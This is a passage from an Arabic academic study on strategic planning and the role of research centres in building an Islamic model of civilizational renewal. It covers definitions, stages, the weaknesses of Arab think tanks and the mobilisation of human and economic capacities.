ج- تيار الجمع والتوفيق بين الوافد والموروث، بين التجديد والتقليد، بين الأصالة والمعاصرة، بحيث يتمّ قبول الوافد الذي ينسجم مع الموروث ولا يعارضه، ويقوم منهج العمل على الاستزادة في الموروث بما ينسجم معه من الوافد، والاستزادة في الوافد بما ينسجم معه من الموروث، لأنّ رياح الحضارة الغربية عصفت بكل أقطار العالم بما في ذلك العالم العربي والإسلامي خاصة لما له من موقع جغرافي سياسي هام وما يبطنه من ثروات بشرية وطبيعية، وافضت الى تمزيقه واحتلال أراضيه واستعمار شعوبه، بالإضافة إلى التخلّف والانحطاط الذي عمّ الشعوب العربية والإسلامية وشعوب العالم الثالث . ولكون الحضارة الغربية طابعها عالمي شمولي منتجاتها ليست خاصة بزمان أو بمكان ، لذا فرفض الغرب والقطيعة مع حضارته انتحار حضاري وسقوط في وحل الضياع والتخلف وعدم مسايرة الركب الحضاري، أما قبول الغرب والسقوط في حضارته تغريبا وتغرّبا وانتحارا للهوية الثقافية والدينية والتاريخية، أما سبيل التخلص من الانتحار الحضاري في الزمان وانتحار الهوية في التاريخ هو بذل الوسع في التأليف الإيجابي بين الوافد والموروث، مادام كل من الموروث والوافد حقيقة لا مردّ لها.

المطلب الثاني : دور مراكز الأبحاث في إعداد المخطط الاستراتيجي للنموذج الحضاري الإسلامي.

   تقع مهمة البحث عن مخرج وعن مخطط استراتيجي للنهوض الحضاري في صميم الدور المطلوب من دوائر البحث العلمي ، بل وذروة سنامه . فمن غير خطة لا يمكن انتظار التغيير ، وحتى ان حصل سيقطع شوطا حضاريا طويلا ومغرق بالنكبات ، وهو امر لا يحتمله منطق العصر المتسارع ، مثلما لن يغفر العصر الحضاري الراهن منطق التخبط والارتجال لان دوامة الدقة والنظام قد نسفت بوارج التمني والصدفة . ومخطط ضمن مواصفات العصر وفروضه لن يكون بالأمر السهل والممكن دون قاعدة معرفية متسلحة بسلاح العصر وعلومه ومستجيبة بفاعلية لحاجات الامة وخصوصيتها . وهذا لن يكون من غير الاستعانة الحقيقية والاستنجاد بمخططات ورسوم مراكز البحث العلمي . وقبل هذا وذاك ينبغي التعرف اولا على ماهية التخطيط الاستراتيجي ، ليتم بعده تبيان دور مراكز الابحاث فيه في الفرعين الآتيين .

الفرع الأول :مفهوم التخطيط الاستراتيجي.

يعد التخطيط الاستراتيجي من العمليات الدقيقة والمهمة في حياة الدول المعاصرة والمؤسسات وحتى الافراد العاديين والتي تؤشر درجة متقدمة من العقلانية والركون للمنطق العلمي في رؤية وسلوكيات تلك القوى ، فهو السبيل العلمي المتاح الذي يساعد الأمم على الالتحاق بركب المجتمعات المتقدمة.

أولا / تعريف التخطيط الاستراتيجي.

شانه شان اي ظاهرة انسانية ، خضع فهم مفردة التخطيط الاستراتيجي ومدلولها الاصطلاحي للاجتهادات المتباينة بين المهتمين في هذا الميدان من المعرفة . وكان من بين التعريفات المتميزة لمصطلح التخطيط الاستراتيجي ما أورده أحمد سيد مصطفى من كونه”خطة عمل شاملة طويلة المدى تحدد لبلوغ أهداف طويلة الأجل باستخدام موارد متاحة؛ وتشكل هذه الخطة الإستراتيجية منهاجا تسترشد به الإدارة في صنع القرارات الرئيسية بشأن جمهورها أو عملائها وما تقدمه إليهم أو تتفاعل به معهم. ( وما يؤخذ على هذا التعريف من ثغرة تتعلق بغياب الجانب ألعملياتي والتطبيقي للخطة ، قد تداركها تعريف الاستاذ (أسامة محمد علما) للتخطيط الاستراتيجي على انه “العملية التي يمكن بواسطتها لأعضاء الإدارة الموجهين لمنظمة الأعمال وضع تصور لتوجهها المستقبلي، ومن ثم أسلوب العمل والتشغيل لتحقيق هذا التصور المستقبلي ووضعه موضع التنفيذ. ([59])

والى الاتجاه ذاته ، ذهب باحث آخر في تعريف التخطيط الاستراتيجي بدلالة: « الأنشطة التي يتم وضعها بطريقة تضمن خلق درجة من التطابق بين رسالة المؤسسة وأهدافها، وبين هذه الرسالة والبيئة التي تعمل بها بصورة فعالة وكفاءة عالية»([60])

وهنا يمكن التقاط الفرق بين التخطيط بمفهومه العادي والتخطيط الاستراتيجي من حيث كون التخطيط بمفهومه العادي يكتفي بالتنبؤ للمستقبل دون محاول التأثير فيه ،بخلاف التخطيط الاستراتيجي الذي لا يسعى للتنبؤ بالمستقبل فحسب وإنما يسعى إلى تشكيل المستقبل من خلال بلورة ، وتحقيق أهداف كبرى غالبا ما تتصف بالجرأة والمبادرة قد يسبق تحقيقها إجراء تغييرات أساسية وجوهرية في البيئة.

   نستنتج مما سبق أن التخطيط الاستراتيجي لا يخرج عن كونه خارطة طريق يربط بين الواقع وبين بلوغ الأهداف المستقبلية عبر سلسلة مدروسة من الخطوات النظامية بعد تحليل فرص الواقع وتذليل عقباته .

ثانيا / خصائص التخطيط الاستراتيجي .

يتميز التخطيط الاستراتيجي بخصائص عدة يمكن إجمالها بالآتي:

  1. البعد الانساني والفن القيادي :ان التخطيط الاستراتيجي يعبر بصدق وجلاء عن جهد انساني ورسالة حية مبتغاها سعادة الانسان . وهذا الجهد يتظافر في صياغة حلقاته وانجاز مراحله كافة ، طاقات وموارد انسانية ومادية ، تتشارك وتتفاعل بصبر وحكمة في بناء الرؤية وإنضاجها وامتحانها على ارض التجربة عبر حلقات انسانية متصلة ومتتابعة بدءا من القيادة وانتهاءا بالقاعدة .
  2. التخطيط الاستراتيجي عملية علمية وعقلانية دقيقة تستحضر الفكر وتفعل طاقاته إلى أقصى مدى في نطاق بناء الرؤية والمنهاج العلمي المحدد الخطى والابعاد وفي سبيل تطويع متغيرات الواقع وتحدياته لبلوغ الاهداف المنشودة .
  3. بناء مستقبلي: يهدف التخطيط الاستراتيجي إلى إحداث تغيرات جوهرية وطويلة الأمد في ترسانة الواقع في سبيل بلوغ اهداف تقع على اطراف المستقبل ، على هذا فانه يتعدى الحاضر برؤيته المستقبلية دون ان يسقطه من حساباته ومخططاته .([61])
  4. التخطيط الاستراتيجي عملية شاملة ومستمرة ، لا تقف عند حدود الزمان والمكان وتحشد كل الطاقات والادوات المتاحة ، وتثابر في مجال التغيير الطويل الاجل للواقع مهما استطالت حلقات الزمن طالما ان اهدافها كبيرة ومنهاجها عظيم.
  5. المرونة: يتميز التخطيط الاستراتيجي بالمرونة لكي يستطيع مواجهة التغيرات المحتملة عند التنفيذ.
  6. التخطيط الاستراتيجي يختص بالدقة والانضباط التام والالتزام في تحليل البيانات والإمكانات ، وتحري الفرص والمعوقات وتحديد الأهداف، فهي اذن عملية دقيقة ومعقدة ، لا تحتمل القصور والمبالغة والسهو في كل مفاصلها ومساراتها ، لان في ذلك تهديد حقيقي بنسف الخطة وضياع الجهد ([62]).

ثالثا / أهمية التخطيط الاستراتيجي.

   تكمن أهمية التخطيط الإستراتيجي في المحاور الآتية :

  1. تتمثل اولى منافع التخطيط الاستراتيجي بالتزود بالمعلومات المساعدة في عملية اتخاذ القرار التي تربط بين الواقع والأهداف البعيدة ، من خلال الاحاطة بنوعية الموارد المادية والبشرية اللازمة لتحقيق تلك الأهداف.
  2. يعمل التخطيطُ على توسيع مدارك الفكر، وتطوير قدرات الابتكار من خلال انتظام مدارات التفكير وفق منهجيات علمية محددة الخطوات تفضي الى الاستثمار الامثل للأساليب والقدرات المتاحة ، والاختيار بين البدائل لتحسين مستوى الأداء، وتطوير مجالات التغيير وفرصه واستكشاف ثغراته ومعوقاته لمعالجتها وصولا لتحقيق الاهداف الشاملة .
  3. يقدم التخطيط حزمة من الأهداف التي يستطيع العاملون فهمها وتنفيذها، ويعزز دور الحكومة والمؤسسات المعنية في تحديد الأولويات وفق دراسة علمية منهجية، ويدفع الجهات التنفيذية المختلفة إلى تنسيق أعمالها منعاً للتقاطع بين أنشطتها المختلفة.
  4. تمكين صناع القرار من مواجهة التغيرات البيئية والتعامل والتكيف معها ، وإدارة الأزمات الناشئة عنها بشكل سليم بما يساعد على تجاوزها والافادة من تجاربها .
  5. يعمل التخطيط على تأهيل وتدريب الكوادر بمختلف مواقعها وفي كل المستويات، وعلى التأقلم مع الاوضاع المختلفة للدولة او المؤسسة المعنية ، وفق خطة إستراتيجية موضوعة لتحقيق الأهداف المرسومة.
  6. تقديم الدعم للقيادة وتخفيف عبئ المسؤولية عنها، عبر تعزيز فرص ومساحة المشاركة لقطاع عريض من فئات المجتمع المتنوعة سواء في صياغة رؤية مشتركة وموحدة، وتطوير الوعي بأهمية التغيير ورفع الكفاءة الإدارية لإحداث التغيير المطلوب وتحقيق الاهداف .
  7. يوفر التخطيط معايير واسس موضوعية دقيقة لقياس جودة الاداء واجراء الرقابة الميدانية لتقويم عمل النظام عموما وفعالية تنفيذ الخطة المرسومة خصوصا واكتشاف الأخطاء ، ووضع المعالجات اللازمة لها سبيلا لتجنب الهدر في الموارد وتوظيفها بالأسلوب الأمثل(.([63]
  8. تعزيز الثقة بالنفس على مستوى القيادة والجمهور فكل حلقة من حلقات الخطة تتطلب المكاشفة وتظافر الجهود بين هذين الطرفين لإنجاز المقاصد . ومع تقدم العمل وقطف ثمره وتحقق النجاح – تدريجيا – تشيع اجواء الامل والثقة والطمأنينة لدى كل المعنيين والمستفادين من هذه الخطة وتتعزز مشاعر الارتياح المشفوعة بتنامي القدرة على ضمان المستقبل والاستعداد له ([64]).

رابعاً : مراحل التخطيط الاستراتيجي.

يعبر التخطيط الاستراتيجي عن حاجة ورؤية تنشدها كل امة أو مؤسسة لما تحب أن ترى عليه نفسها في المستقبل بعيد المدى . بيد ان هذه الرؤية لا تنفصل عن ارض الواقع وامكاناته وتحدياته – بكل حال من الاحوال – والا تحولت الى فرضية خيالية او احلام ليس لها وزن على ارض الواقع . والفاصل الحدي بين الخيال والرؤية العلمية المنتجة ، مجاله التخطيط الاستراتيجي والعلمي الفاعل . وهذا الاخير يتطلب جملة من الاستعدادات ويقطع شوطا كبيرا من المراحل التي يمكن تأشيرها بالاتي ([65]):-

  1. التحليل الاستراتيجي للبيئة عبر تجميع الحقائق والبيانات وتقويم الإمكانات المتيسرة والتثبت من الفرص والتحديات الكامنة في البيئتين الخارجية والداخلية  .
  2. صياغة الخطة الإستراتيجية والتحديد الدقيق للأهداف : يعتبر التحديد الدقيق للأهداف ووضوحها من الأهمية بمكان حتى يتم التخطيط بالأسلوب الذي يحقق هذه الأهداف في إطار خطة واضحة المعالم ، ومن ثم يجب أن يكون لكل خطة هدف تسعى لتحقيقه خلال فترة زمنية محددة من خلال تحقيق أهداف مرحلية متنافسة مع الهدف النهائي .
  3. تحديد البدائل وتقويمها : يعتمد التحديد إلى حد كبير على قدرة أجهزة التخطيط ، وما يتوافر لديهم من قدرة على الابتكار والتفكير المنطقي العميق لتحديد البدائل وٕاتباع الأساليب العلمية في إجراء الدراسات والتقديرات وتقويم البدائل بمقارنة العائد لكل منها ، واختيار أنسبها.
  4. مرحلة التطبيق ؛ وتعد من أكثر المراحل صعوبة ، اذ تشتمل على تهيئة المناخ التنظيمي ، ووضع الخطط والسياسات والبرامج واليات العمل التفصيلية ، وتخصيص الموارد ، وتهيئة الهياكل التنظيمية ،وإعداد وتنمية الموارد البشرية ، تنمية القيادات الإدارية . ومن ثم زجها بنسق منضبط لتنفيذ حلقات الخطة ووضعها موضع التطبيق .
  5. المتابعة والتقويم : يتم في هذه العملية ، مراجعة للبدائل الموضوعة ، مع ورود الاحتمال بنشوء الاختلاف بين التصور والواقع ، ومهمة الإستراتيجية الناجحة ضمن هذا السياق هي مواجهة تطوير وتعديل مسارات الخطة بما يساعد على سد ثغراتها واحتواء ازماتها بالاستثمار بالموازنة والاختيار الدقيق للبدائل سبيلا للعبور الى المستقبل يضاف الى ذلك ويتزامن معه إجراء الآتي :

    أ- مراجعة العوامل الداخلية والخارجية الداخلة في محيط الخطة .

    ب- قياس جودة الأداء وفاعليته.

    ج- اتخاذ الإجراءات التصحيحية لأي قصور او تعثر في المسار.

الفرع الثاني: دور مراكز الأبحاث في التخطيط الاستراتيجي للنموذج الحضاري الإسلامي.

إن أول ما ينبغي أن تفكر فيه أمة في وضع حضاري متردي كالذي تعيشه الامة الاسلامية ، هو التجديد وبناء نموذج النهوض الحضاري الخاص بها .([66])

وهذا الامر الجلل، لا ينسحب فقط إلى إحداث بعض التعديلات والتحويرات الجزئية في الفكر أو الثقافة والسلوك ،إذ ان الاولوية التي ينشدها هذا النموذج تتمثل في القدرة على الوصول بالرسالة الحضارية للامة إلى عمق الإنسان، فكرا وروحا وسلوكيات . وعندما يشغل مفهوم الرسالة الحضارية من جديد حيزه الحقيقي في وعي الإنسان وفعله، هنا فقط يتحول الإنسان إلى معامل فاعل في الفعل الحضاري المجدد للأمة.

وحين نتكلم عن الوعي الحضاري ، فنحن نتكلم عن الإدراك المكافئ لمشروع إعادة إنتاج حضارتنا أو استعادة الدورة الحضارية لمجتمعاتنا. وفي هذا السياق، تبرز الحاجة لمعرفة المنافس الحضاري أين وصل في تقدمه الفكري والسياسي والاقتصادي والاجتماعي والتقني والزراعي والقيمي؟ وأن ننظر في مخزوننا الحضاري أين توقف في هذه المسارات؟ اي ان تنظر كل حضارة لنفسها من خلال النظر في مرآة الآخر الحضاري بصورة أو بأخرى، ليس لتتماهى معه، ولكن لتنظر في أمر الفجوة التي يراد سدها،

والطريق الواجب سلكه للتحرك الحضاري المناسب؛ ([67]) فالطريق الى النهضة الحضارية ينبغي ان يبدأ من استعادة الهوية النقية وليس استعارتها . ([68])

غير إن تهيئة مشروع استنهاض الذات الحضارية الفاعلة ، يتطلب نظريات ومناهج علمية منظمة سبيلها إعادة بناء معرفية جديدة وعصرية للمشروع الثقافي الإسلامي الخاص ، والحديث عن التجديد في الفكر الإسلامي سواء أكان تجديداً في الوعي أو المناهج أو المعرفة   أو الشخصية   عموماً إنما هو في جوهره عمل تغييري منهجي استراتيجي ، بحيث يكون قادراً على استيعاب الواقع الموضوعي وفك طلاسم منطق الحضارة الراهن وإيجاد مفاتيح القوة فيها، لاسيما مع ادراك حجم التحدي المتأتي ضواغط القوى الحضارية المهيمنة وما ينساب منها من آليات التنميط الثقافي والحضاري القسري التي يستخدمها الآخر في عمله الدائم على فرض نموذجه الحضاري على الثقافات الحية الأخرى.([69])

وعلى قدر حاجة الامة الاسلامية الماسة الى اطار شامل موحد الرؤية للنهوض الحضاري ، تتحدد مساحة ومديات الدور المفترض لعلمائها وباحثيها للغوص العميق في ركام الواقع الحضاري المتردي والتربص واستكشاف قوانينه ومناهجه وأطره المعرفية والمنهجية باتجاه الوصول إلى ما يمكن تسميته «بالنموذج الحضاري الاسلامي ». وذلك لإن زمن التغيير والتجديد الحضاري العفوي والبسيط ، قد نسفه منطق الحضارة العالمية المعاصرة الاخذ بتلابيب التعقيد والتطور المتسارع . لذا فان كل من يريد أن يجدد ذاته ومجتمعه حضاريًّا، ويغير أوضاعه بصورة إيجابية يحتاج إلى ذكاء حضاري عصري ومتقدم يمكنه من ادراك المنطق الجديد للحضارة ، واستيعاب الديناميات الجديدة التي يسير وفقها العالم والتاريخ . وفي هذا الزمان الذي شهد كل هذه التطورات الهائلة ، انبثقت عمليات الاهتمام المعرفي، وتبادل المعلومة والمعرفة والخبرة العلمية، ضمن إطار مؤسسي دائم، وهو ما نطلق عليه اليوم “مراكز البحوث والدراسات”.. فغدت الشعوب والأمم والحضارات، تتبادل معارفها، وتحافظ على مميزاتها وخصائصها، حتى أصبحت تلك المراكز البحثية الوسيلة فضلى، لتهيئة مباني الحضارة وعرض منجزاتها للأمم الاخرى على قاعد التلاقح الحضاري .([70])

ومن هنا ينبغي لعلماء الأمة ورجالها المخلصين أن يفكروا مليًّا في موضوع بناء النموذج الحضاري الاسلامي المستقل والخلاق، بوصفه عملاً علميًّا حضاريًّا منهجيًّا شاملاً، وفعلاً تغييرياً اجتماعيًّا يتطلب أعلى مستويات الذكاء، والوعي، والفاعلية، والأصالة، والإتقان، ويخضع لمنهج حضاري واضح ومتوازن ومتناسب مع حجم الواقع المطلوب تغييره، ومتوافق مع الخصائص المرحلية التي يتصف بها واقع الأمة وواقع الإنسانية. ولكي يتحقق هذا «يجب علينا أن نتبنى سياسات من شأنها توجيه التطور التاريخي طويل الأمد للعالم الإسلامي في اتجاهات بناءة، وبلورة مفاهيمه ومفرداته ومناهجه وأدواته التحليلية حتى يصبح أساساً ركيناً للبناء   وللتجديد الحضاري.([71])

وعلى هذا الاساس ومن تلك المنطلقات يتحدد اطار الدور الخطير المنتظر من مراكز الابحاث بوصفها حاملة مشاعل النموذج الحضاري . ان محطات هذا الدور المرتقب ومفاصله منتشرة على طول الخط الرابط بين مراحل التخطيط الاستراتيجي لبناء هذا المشروع الحضاري . واذا كانت الوظيفة التقليدية – ضمن الزمن التاريخي – لمراكز الابحاث تتحدد في تحليل الواقع،وتقديم رؤى مستقبلية من أجل النهوض بواقع جديد أو تطوير الواقع الحالي إلى مستوى أفضل، وفق مرجعيات أكاديمية واستراتيجية بعيداً عن الارتجال، فان هذه الوظيفة – على الرغم من اهميتها على الاقل لأولى مراحل التخطيط الاستراتيجي لمشروع النهضة الاسلامي ، فإنها غير كافية ولا مستجيبة لإملاءات الحاجة الماسة لتبني المشروع الحضاري والتناغم مع منطق العصر الحضاري وزمنه النوعي .([72]) فان مراكز الابحاث اليوم كما يراها الدكتور نصر عارف ليست مجرد مراكز لتجميع المعلومات، ولكنها مراكز لإنتاج الأفكار، وعملية صنع الأفكار لا تتم لذات الأفكار؛ فالفكر له علاقة حتمية بالواقع وما ليس له تأثير في الواقع فلا قيمة له ([73]). “فالأفكار، كما يقول الدكتور عارف، عندما تصنع لا يتم الوقوف عند صنعها، وإنما يتم نقلها للمجتمع من ناحية ولصانع القرار السياسي من ناحية أخرى، من خلال وسائل متعددة” فغاية مراكز الأبحاث ، إذن، ليست مجرد صناعة الفكرة بل إيجاد السبيل لإنزالها، وتطبيقها، وقياس مدى فاعليتها في شتى مجالات الحياة. وبالاخص مجالنا الحضاري .

وضمن المسار الواصل بين نقطة التحليل الموضوعي لشواخص الحضارة ، وبين نقطة انزالها على ارض الواقع ، تقع محطة التخطيط الاستراتيجي للمشروع المنشود ، الذي تنهض به هذه المراكز على أسس ونظريات ومناهج علمية رصينة تجند لها كل الطاقات الذهنية ، وتدرس من خلالها كل المعطيات والامكانات والاحتمالات التي ينطق بها الواقع او يغيبها المستقبل بملكوت التحديات او التأثيرات الخارجية ، لتستعد لها بمنطق السيناريوهات والبدائل الممكنة وصولا لإمكانية تذويب تلك التحديات في بوتقة الفرص والتحرك من موقع الاقتدار لا العجز .

من هنا ترد الحاجة الماسة لإعادة النظر بصورة جذرية بنمط وسياقات عملية التخطيط من قبل المراكز البحثية اولا بتوسيع قاعدة المعلومات المعتمدة في رسم الخطة وتهيئة الكادر الفني المتخصص وتهيئة المستلزمات الضرورية لإنجاح الخطة في ضوء الموازنة الموضوعية بين الامكانات المتاحة والاهداف الموضوعة مع ضرورة الانتباه الى المسائل الاتية:

  1. الحاجة المتنامية والمتغيرة للمجتمع ومشاكل المستجدة.
  2. توسيع نطاق التخطيط وتنويع اهتماماته ليشمل حلقات وافاق لم يصلها سابقا ، فألى جانب التوسعات المحتملة في النشاطات وإدامتها مستقبلا ، ينبغي الاهتمام في سياق التخطيط ا بمستلزمات التطوير في البنية الادارية والفنية للمركز وعلاقاته مثل ( تهيئة الكوادر ، وتطوير قدراتهم ، تهيئة الموارد ، احتمالات التغيير المستقبلي والتوسعات ) .
  3. مد النطاق الزمني للتخطيط لمعالجة مسائل بعيدة الأمد والتأثير وليس الاقتصار على ماهو كائن .
  4. تهيئة اكثر من خطة بديلة لمواجهة الاحتمالات والعوامل غير المحسوبة .
  5. اسناد الخطة بعناصر مضافة من الاستمرارية والحيوية والمرونة .
  6. توفير الغطاء البشري والعلمي اللازم لإنجاح الخطة وتنفيذ حلقاتها .
  7. الإفادة التامة من معطيات التقنية الحديثة في مجال الاتصالات والمواصلات والمعلومات في ضمان تطوير وتوسيع شبكة المعالجات التي تتناولها الخطة .

ولنتذكر في هذا السياق تلك الشواهد الحضارية التي ابدعتها مراكز ابحاث عربية ليس بتشخيص اخفاقات الواقع ، وتحري المعالجات المرحلية لها ، بل بإنتاج مشاريع ومخططات متكاملة الأركان للنهوض الحضاري ومنها على سبيل المثال لا الحصر ، كتابين غاية في الأهمية صدرا عام 2011 م عن مركز الحضارة للدراسات السياسية , الأول وضعته الأستاذة الدكتورة ناديه مصطفى (رئيس قسم العلوم السياسيةجامعة القاهرة ) تحت عنوان : “نحو بناء مشروع استراتيجي لنهوض حضاري وسطي دراسة استكشافية في مشروعات نهضة الأمة” وتؤصل فيه لتصورات مشروع النهضة الحضاري من زاوية إسلامية وإنسانية , والكتاب الثاني حررته الأستاذة الدكتورة هبه رؤوف عزت (أستاذ العلوم السياسية – جامعة القاهرة) تحت نفس العنوان وضمنته نماذج نهضة من العالم الإسلامي (تركيا , إيران , ماليزيا) ونماذج من خارج العالم الإسلامي (الصين , جنوب إفريقيا , أمريكا اللاتيني؛ كما لا ننسى في هذا المقام إصدارات المعهد العالمي للفكر الإسلامي ما يقرب من نصف قرن، ومركز الدراسات المعرفية، فضلا عن الإسهامات الكبيرة والرائدة لمركز دراسات الوحدة العربية في هذا المجال وفي اكثر من مشروع.([74])

وعلى الرغم من ذلك ، فان ما تقدم لا يصرف الذهن عن الواقع الذي تعيشه مراكز الابحاث في الدول الاسلامية والعربية ، والذي يعد بحد ذاته معوقا رئيسا في طريق بناء مشروع الانقاذ الحضاري ، من منطلق ان فاقد الشيء لا يعطيه ، فكيف ينير الدرب من عاش في الظلمات الحضارية ام كيف يروي الظمأ من مات عطشا ً ، وهكذا لا يمكن الافراط بالتفاؤل وانتظار الامل بالتغيير ومراكزنا البحثية تقبع في عتمة التجاهل والاهمال والانقطاع عن اسباب الحضارة بعد ان افتقدت قدرتها على التواصل مع خاصة الناس وهم المسؤولين وعامتهم . فعلى الرغم من تأثر الأجواء الثقافية في وطننا العربي بما هو سائد في الأوساط الثقافية الغربية ونحوها، من حيث انتقال فكرة مراكز الأبحاث العلمية والمؤسسات المعنية بالدراسات من الغرب إلى منطقتنا، غير أننا غالباً لا نلمس ثمرة هذه المؤسسات في أغلب الأوساط، لذا   أضحت الكثير من هذه المراكز في وطننا العربي تحمل العناوين دون المضامين، وأخذت تشكل نوعاً من الترف الفكري حيث غياب الهدف، وتعثر الخطوات، والارتجال السائد في بعض المؤسسات مما يجعل الطابع المؤسسي وروح فريق العمل تغيب فتأفل شمس الفكرة، ويرخي الغموض أستاره عليها([75]). وقد لخص الدكتور عارف في معرض بحثه في الواقع الذي تعيشه مراكز الابحاث العربية اهم السلبيات التي تتصف بها هذه المراكز وهي الاتي :-

  1. عدم وضوح الوظيفة: فمعظم هذه المراكز العربية لا يوجد لديها وضوح في الوظيفة، أي أنها تتصف بغياب وجود مجال معين للتخصص.
  2. عدم وضوح الهدف: حيث تفتقد هذه المراكز بدرجات متفاوتة وضوح الأهداف، فهي لم تحدد أهدافها سواء كانت أكاديمية فكرية أم سياسية أم هما معا وبأية نسبة.
  3. فقدان الاستقلالية: فهذه المراكز مفتقدة للاستقلال المالي؛ لأنها لا تبنى، لا على أوقاف ولا على مؤسسات تمويل مستقلة، ومن ثم تكون خاضعة لعلاقات تبعية حزبية أو سياسية.
  4. البعد عن الواقع وعن الموضوعية في بعض الاحيان: تعد امتدادا أيدلوجيا وسياسيا، لنظام سياسي معين، ومن ثم لا يعد المركز البحثي إلا جزءا من الترسانة الفكرية التي يسعى من خلال نشاطه وأعماله البحثية، إلى توظيفها بما ينسجم ورغبة هذا النظام أو ذاك ؛ فتحولت بهذا العزم الى بوق للدعاية عن النظم السياسية الممولة مفتقدة القدرة على التشخيص الموضوعي للواقع وقراءته القراءة النقدية الفاعلة ، وهو ما يشكل الداء القاتل لهذه المؤسسات، لأنها لا تستطيع، أن تقنع المجتمع بخلاصاتها، ولا صانع القرار بتوصياتها، ولا تستطيع أن تجذب رجل الأعمال أو الإداري أو صاحب الرأسمال؛ لأنها لا تستطيع أن تقدم له مصلحة، فيساهم في تمويلها. حتى انتهى بها المطاف بان تعيش في برج عاجي من النظريات والدراسات والانشطة التي تستقطب المثقفين والمعنيين دون غيرهم ودون ان يصل صوتها لمن يحتاجه ومن باب اولى ايجاد الحلول لمشاكل الواقع المزمنة والمستجدة .([76])

المطلب الثالث: دور مراكز الأبحاث في حشد القدرات وتوظيفها لبناء النموذج الحضاري الإسلامي.

تبقى الخطة معلقة في سقف الافتراض وبناءاته النظرية ، مالم تشفع بالخطوات الفعلية والعملية لاستنزالها على ارض الواقع . وهذا لايتحقق الا بحشد الطاقات والقدرات المتاحة من جانب ، والتوظيف المقتدر لهذا لطاقات وفق الخطة المرسومة من جانب اخر. وبين هذا الجانب وذاك يتحدد الافق المتاح لحركة وفاعلية المراكز البحثية . وهذا ما سيتم دراسته في الفرعين الآتيين .

الفرع الأول : دور مراكز الأبحاث في حشد القدرات.

     تستمد الخطةـ عند التطبيق معينها من عنصر الوسائل او الامكانيات المتاحة؛ فتقوم هذه الوسائل والامكانيات مقام المحددات التي تؤطر مسالك الخطة، وتشكل قيوداً ومعياراً يتم بموجبه اختيار كيفية الحركة وغايتها ([77])   ويمكن تقسيم هذه الوسائل على نوعين الوسائل المادية ( البشرية ،والاقتصادية ، والعسكرية ) والوسائل المعنوية ( الفكرية والاجتماعية ) .

تجدر الاشارة الى انه من الصعوبة بمكان ان يتوافر لاستراتيجية ما قدر متساوي من الوسائل المتاحة ــ فالتفاوت ــ موضوعيا ــ امراً واقعاً لا مفر منه ، وهنا تقع مهمة الخطة في التكييف والتنسيق بين هذه الامكانيات المتاحة لاحتواء ثغرات التفاوت (الكمي والنوعي ) في الامكانيات وانعكاساتها السلبية على اداء الخطة.

أولا : القدرات المادية

وتشتمل هذه القدرات على الآتي :-

1-  القدرات البشرية

ان لكتلة السكان معان استراتيجية متنوعة الابعاد ، لانهم يشكلون البعد الحيوي للنشاط الانساني والحضاري الذي قد يتحول الى مشروع فعل حضاري وابداعي حتى في اوقات المحن والازمات ، فيكون السكان عامل قوة للامة اذا تمكنت من اسثمارهم بالشكل الافضل في مجالات النهوض الحضاري ، غير ان هذا الاستثمار الناجح للطاقة البشرية معتمد بل ومقيد بوضع هؤلاء السكان وظروفهم ؛ فزيادتهم العددية مثل نقصانهم تحمل المخطط الاستراتيجي اعباءا مضافة وتبعات ينبغي تلافي تاثيراتها السلبية . وحتى نوعية هؤلاء السكان من حيث تركيبتهم العرقية والدينية والثقافية ، العمرية كلها لها اسقاطاتها على الواقع قبل ان يلقي بظلاله المتباينة التأثير على خارطة التخطيط الاستراتيجي للمشروع الحضاري المنشود ؛ فالتباين بين هذه التراكيب النوعية او انحدارها بالخط البياني السلب سيكون له انعكاسه السلبي على بنية وتوجهات مشروع النهوض المفترض بقدر ما ستوفر تلك العوامل ارضية خصبة لعدم الاستقرار والتوازن المطلوب لتحقيق الانطلاقة الواعدة في العصر الحضاري . وبالعكس عندما تأخذ هذه التراكيب مجالها في التجانس والخط البياني الايجابي لمفردات القوة ومقاييسها ، فتوفر الارضية الرصينة للبناء الحضاري وتشييد قواعده على قواعد شعبية مستقرة ومتينة ؛ اذ ان تجانس او تنافر التركيب الاجتماعي للسكان يؤثر بشكل ملحوظ في تكوين ظواهر المجتمع السياسية؛ فالتجانس العرقي ووحدة المعتقدات الدينية تسهم في تمتين الاستقرار السياسي وترصين قاعدة القرار السياسي . والامة التي يحضى نظامها السياسي بدعم اجتماعي داخلي تصبح قادرة على المبادرة السياسية والنهوض الحضاري وبالعكس. ([78])

2-  القدرات الاقتصادية .

تشكل القدرات الاقتصادية مجال قوة ونفوذ لاي دولة ، مثلما تؤشر فاعلية هذه الدولة وقدرتها على تحويل تلك المفردات الاقتصادية من عامل قوة استاتيكي الى عامل قدرة له اسهامه الفاعل في تعزيز حظوظ الدولة ومكانتها على خارطة القوى الحضارية العالمية ؛ لأنه يحدد الى درجة كبيرة قدرة الامة على الاستفادة من الامكانات المتاحة لتسريع النمو الاقتصادي وتحسين مستوى المعيشة وبالتالي تفعيل الحراك الاجتماعي والسياسي بما يخدم مصالح الامة وازدهارها ومكانتها . ويدخل في صناعة معادلة القدرة الاقتصادية لاي بلد متغيران رئيسان اولهما ( الموارد الطبيعية التي يمكن استثمارها وتحويلها الى منتجات تلبي احتياجات السكان وتوجد قاعدة متينة لخلق دولة قوية ذات اقتصاد متكامل تستند اليه الدولة في نموها وحماية مصالحها ، وتتحدد هذه الموارد في مجموعتين ( مجموعة الموارد السطحية ( الاراضي الزراعية ، موارد المياه ) ومجموعة الموارد الباطنية وتشمل ( المعادن ، مصادر الطاقة الاحفورية ). اما المتغير الثاني فيتمثل في قدراتها ونشاطها الصناعي ([79]).

والتقني والتجاري أي الجانب المتطور للقدرة الاقتصادية وهذه – بدورها – تحددها جملة متغيرات منها ( مقدار الدخل القومي والفردي ، درجة تطور نشاطها الصناعي والتجاري ، ووضع سوقها المالي )([80])

